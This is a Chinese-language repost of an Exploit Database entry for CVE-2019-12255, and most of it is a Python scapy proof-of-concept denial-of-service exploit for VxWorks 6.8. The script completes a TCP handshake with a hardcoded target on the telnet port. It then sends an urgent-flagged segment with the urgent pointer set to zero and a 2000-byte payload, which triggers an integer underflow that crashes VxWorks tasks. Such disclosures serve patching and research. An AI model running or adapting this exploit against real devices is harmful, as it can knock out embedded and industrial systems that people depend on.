VxWorks 6.8 – TCP Urgent Pointer = 0 Integer Underflow

• Exploit Database
• 11 阅读

• 作者： Zhou Yu
  日期： 2019-08-12
• 类别：

  • dos
  平台：

  • vxworks
• 来源：https://www.exploit-db.com/exploits/47233/

• # Exploit Title: VxWorks TCP Urgent pointer = 0 integer underflow vulnerability
  # Discovered By: Armis Security
  # PoC Author: Zhou Yu (twitter: @504137480)
  # Vendor Homepage: https://www.windriver.com
  # Tested on: VxWorks 6.8
  # CVE: CVE-2019-12255
  # More Details: https://github.com/dazhouzhou/vxworks-poc/tree/master/CVE-2019-12255
  # The PoC can crash VxWorks tasks(set the port corresponding to the task in the PoC), such as telnet, ftp, etc.
  
  from scapy.all import *
  
  if __name__ == "__main__":
  ip = "192.168.10.199"
  dport = 23
  seq_num = 1000
  payload = "\x42"*2000
  sport = random.randint(1024,65535)
  
  syn = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "S", seq=seq_num)
  syn_ack = sr1(syn)
  
  seq_num = seq_num + 1
  ack_num = syn_ack.seq+1
  ack = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "A", seq=seq_num, ack=ack_num)
  send(ack)
  
  psh = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "PAU", seq=seq_num, ack=ack_num, urgptr=0) / payload
  send(psh)